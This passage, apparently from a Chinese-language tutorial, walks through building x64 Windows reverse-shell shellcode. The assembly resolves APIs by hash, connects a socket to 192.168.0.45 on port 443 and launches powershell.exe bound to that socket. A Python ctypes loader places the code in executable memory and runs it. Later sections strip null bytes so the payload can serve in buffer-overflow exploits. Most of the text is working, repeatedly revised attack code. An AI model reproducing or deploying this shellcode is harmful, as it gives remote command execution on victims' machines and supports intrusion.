"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"load_module:"
"    mov rax, 0x6c6c;"        # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    mov rcx, 0x202;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x28;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x28;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x38;"     # 函数序言
"    mov rcx, 2;"     # af为2作为第1个参数
"    mov rdx, 1;"     # type为1作为第2个参数
"    mov r8, 6;"     # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x38;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    mov rdx, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    mov rdx, 0xbb01;"     # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov rdx, 0x2d00a8c0;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    mov r8, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0x6578652e6c6c;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov rdx, 0x100;" 
"    push dx;"      # 成员dwFlags值为0x100"   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可"   
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov rdx, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值,lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

接下来,我们将对 Shellcode 进行完善和优化。



去除 0x00 字节

目前,我们初步的完整 Shellcode 长度为 644 字节,且包含了较多的 0x00 字符。在 Shellcode 加载器中,0x00 字节的存在并无妨。但如果该 Shellcode 用于缓冲区溢出等漏洞中,因为 0x00 通常为坏字符,因此 Shellcode 的功能不能被正常执行。

image.png

为了能更加直观地定位到需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具。将汇编指令复制进去,就能看到 Shellcode 与汇编指令的一一对应关系了。例如,我们发现将 Unicode 字符串赋值给寄存器的指令就包含大量 0x00 字节,因为每个 Unicode 字符占用 2 个字节。

image.png

最终,我们发现以下这些指令得到的机器码包含 0x00 字

call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
mov     rdx, 2
mov     rdx, 0xBB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h

对于 mov r12, 0x0045004e00520045 指令,我们可以换成:

mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;

这样,就没有 0x00 字节了。

image.png

对于 mov rcx, 2 这样较小数值的赋值指令,我们可以赋值负数再使用 neg 指令获得符号相反的数值:

mov rcx, 0xfffffffffffffffe;
neg rcx;

image.png

或者先对寄存器清零自增

xor rcx, rcx;
inc rcx;
inc rcx;

image.png

或者仅对低位赋值

xor rcx, rcx;
mov cl,2;

image.png

就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:

import ctypes, struct
from keystone import *



CODE = (
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x1055105E10621055;"    # Unicode字符串 "ENRE"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r12, rax;" 
"  mov r13, 0x103e10421043105c;"    # Unicode字符串 ".23L"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等,可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等,继续比较,将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等,移动到下一个条目
"  mov rax, r9;"    # 保存kernel32的基址
"  ret;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x1075107E10821075;"    # Unicode字符串 "enre"加上0x10101010
"  mov rax, 0x1010101010101010;"   
"  sub r12, rax;" 
"  mov r13, 0x103e10421043107c;"    # Unicode字符串 ".23l"加上0x10101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等,不会是大小写原因,直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"


"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x28;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x28;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x38;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x38;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0xff;"
"    inc dx;" 
"    push dx;"      # 成员dwFlags值为0x100   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值,lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


image.png

现在,只有 start 区域调用函数的几个指令依旧包含 0x00,其他指令包含的 0x00 已经清除。


PIC 代码

之所以 start 区域中调用函数的指令包含 0x00 字节,因为对函数的直接调用,可能是通过相对偏移定位到函数入口,或者通过绝对地址来定位函数,例如函数地址被保存在寄存器中。如果是通过相对偏移定位函数的地址,我们可以将函数代码部分放在上方区域,在下方区域调用函数,这样偏移值是负数,可有效避免 0x00 字节。在运行时通过函数的绝对地址调用函数可以让代码实现位置独立且不包含 0x00 字节。

那么,我们将开头的这些函数调用进行拆分。

"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

让 Shellcode 从一开始就寻找 Kernel32.dll 的地址,找到的话跳转到 jump_proxy 区域:


CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
............
"jump_proxy:"
"   jmp jump_section;"

跳转到 jump_proxy 区域后,立即跳转到 jump_section 区域。之所以这么做,如果跳转距离过长,指令也可能包含 0x00 字节,因此我们以 jump_proxy 区域作为中转。jump_section 代码如下,负责集中调用函数

............
" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address

整理一下,最终代码如下。需要注意的是,因为这些改动,可能会导致栈不是对齐状态,因此如果在调用函数前发现栈未对齐 (RSP并非以 0 结尾),那么我们手动对齐。以我们之前的代码为例,需要在调用 CreateProcessA 之前手动对齐栈。

import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x1055105E10621055;"    # Unicode字符串 "ENRE"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r12, rax;" 
"  mov r13, 0x103e10421043105c;"    # Unicode字符串 ".23L"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等,可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等,继续比较,将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等,移动到下一个条目
"  jmp jump_proxy;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x1075107E10821075;"    # Unicode字符串 "enre"加上0x10101010
"  mov rax, 0x1010101010101010;"   
"  sub r12, rax;" 
"  mov r13, 0x103e10421043107c;"    # Unicode字符串 ".23l"加上0x10101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等,不会是大小写原因,直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"


"jump_proxy:"
"   jmp jump_section;"

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


" jump_section:"
"   mov rbp, r9;"    # RBP为Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA哈希
"   sub rsp, 0x20;"
"   call parse_module;"    # 获得LoadLibraryA地址  
"   add rsp, 0x20;"
"   mov r12, rax;"    # R12为LoadLibraryA地址
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress哈希
"   sub rsp, 0x20;"
"   call parse_module;"    # 获得GetProcAddress地址address
"   add rsp, 0x20;"
"   mov r13, rax;"    # R13为GetProcAddress地址


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x30;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x30;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
